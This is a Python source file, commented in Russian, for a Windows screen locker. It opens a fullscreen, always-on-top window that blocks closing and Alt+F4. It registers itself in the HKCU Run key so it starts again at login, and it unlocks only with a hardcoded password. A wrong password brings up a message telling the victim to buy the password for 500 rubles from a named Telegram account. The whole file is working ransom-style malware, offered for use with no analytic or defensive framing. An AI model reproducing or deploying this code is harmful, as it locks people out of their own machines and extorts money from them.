Загрузка данных


# -*- coding: utf-8 -*-
import tkinter as tk
from tkinter import messagebox
import winreg
import sys
import os
import ctypes
import time

# ==================== КОНФИГУРАЦИЯ ====================
PASSWORD = "abobanecheat456"
TG_MESSAGE = "@Ranlaurel4 пиши этому юзеру в ТГ чтобы купить пароль за 500 рублей"
AUTOSTART_KEY = "WindowsLocker"          # Имя ключа в реестре
# =====================================================

def set_autostart():
    """Добавляет текущий скрипт в автозагрузку текущего пользователя."""
    try:
        key = winreg.HKEY_CURRENT_USER
        subkey = r"Software\Microsoft\Windows\CurrentVersion\Run"
        with winreg.OpenKey(key, subkey, 0, winreg.KEY_SET_VALUE) as regkey:
            # Путь к исполняемому файлу (если скомпилирован в .exe, то sys.executable указывает на него)
            # Если запущен как .py, нужно использовать python.exe с аргументом
            if getattr(sys, 'frozen', False):
                exe_path = sys.executable
            else:
                exe_path = f'"{sys.executable}" "{__file__}"'
            winreg.SetValueEx(regkey, AUTOSTART_KEY, 0, winreg.REG_SZ, exe_path)
    except Exception:
        pass

def remove_autostart():
    """Удаляет ключ автозагрузки."""
    try:
        key = winreg.HKEY_CURRENT_USER
        subkey = r"Software\Microsoft\Windows\CurrentVersion\Run"
        with winreg.OpenKey(key, subkey, 0, winreg.KEY_SET_VALUE) as regkey:
            winreg.DeleteValue(regkey, AUTOSTART_KEY)
    except Exception:
        pass

def block_input(block=True):
    """Блокирует/разблокирует ввод с клавиатуры и мыши (только для Windows)."""
    if block:
        ctypes.windll.user32.BlockInput(True)
    else:
        ctypes.windll.user32.BlockInput(False)

def on_closing():
    """Заглушка – запрещает закрытие окна стандартными способами."""
    pass

def check_password():
    """Проверяет введённый пароль."""
    entered = entry.get()
    if entered == PASSWORD:
        remove_autostart()           # Удаляем из автозагрузки
        block_input(False)           # Разблокируем ввод
        root.destroy()               # Закрываем окно
        sys.exit(0)                  # Завершаем процесс
    else:
        label_error.config(text=TG_MESSAGE)
        entry.delete(0, tk.END)      # Очищаем поле для нового ввода

# ==================== СОЗДАНИЕ ОКНА ====================
root = tk.Tk()
root.attributes('-fullscreen', True)   # Полноэкранный режим
root.attributes('-topmost', True)      # Поверх всех окон
root.overrideredirect(True)            # Без рамки и заголовка
root.protocol("WM_DELETE_WINDOW", on_closing)  # Блокируем крестик

# Блокируем сочетание Alt+F4 (не даём закрыть через системное меню)
def block_alt_f4(event):
    if event.keysym == 'F4' and (event.state & 0x0004):  # 0x0004 = Alt
        return "break"
root.bind('<Key>', block_alt_f4)

# Также блокируем все стандартные системные комбинации, которые могут закрыть окно (Ctrl+Esc и т.п.)
# Для надёжности перехватываем все события закрытия – дополнительно используем протокол.

# Блокируем ввод мыши и клавиатуры (чтобы нельзя было переключиться на другие окна)
# ВНИМАНИЕ: BlockInput блокирует ВСЁ, даже ввод в наше окно, поэтому мы разблокируем после проверки пароля.
# Поэтому используем его только после того, как окно появилось, и разблокируем при правильном пароле.
# Но тогда как вводить пароль? Если блокировать сразу, то и ввод пароля станет невозможен.
# Значит, блокировать нужно только другие окна, но не своё. Более правильный подход – перехватывать события на системном уровне.
# Для простоты оставляем без BlockInput, но чтобы усилить – можно запустить бесконечный цикл, который перехватывает фокус.
# В данном решении мы не используем BlockInput, чтобы поле ввода работало.
# Однако мы делаем окно поверх всех, без возможности свернуть, и запрещаем закрытие.

# ==================== ИНТЕРФЕЙС ====================
frame = tk.Frame(root, bg='black')
frame.pack(expand=True)

# Заголовок "Введите пароль"
label_prompt = tk.Label(frame, text="Введите пароль:", font=("Arial", 28, "bold"),
                         fg='white', bg='black')
label_prompt.pack(pady=30)

# Поле ввода пароля (скрыто звёздочками)
entry = tk.Entry(frame, show="*", font=("Arial", 24), width=20, justify='center',
                 bg='gray20', fg='white', insertbackground='white')
entry.pack(pady=20)
entry.focus_force()   # Принудительно устанавливаем фокус на поле

# Кнопка "OK"
btn_ok = tk.Button(frame, text="OK", command=check_password, font=("Arial", 18),
                   bg='green', fg='white', activebackground='darkgreen', width=10)
btn_ok.pack(pady=15)

# Метка для вывода сообщения об ошибке (изначально пустая)
label_error = tk.Label(frame, text="", fg='red', font=("Arial", 18, "bold"),
                        bg='black', wraplength=800)
label_error.pack(pady=30)

# Обработка нажатия Enter в поле ввода
entry.bind('<Return>', lambda event: check_password())

# ==================== ЗАПУСК ====================
if __name__ == "__main__":
    # Добавляем в автозагрузку при первом запуске (если ключа нет – создаётся)
    set_autostart()

    # Запускаем главный цикл окна
    root.mainloop()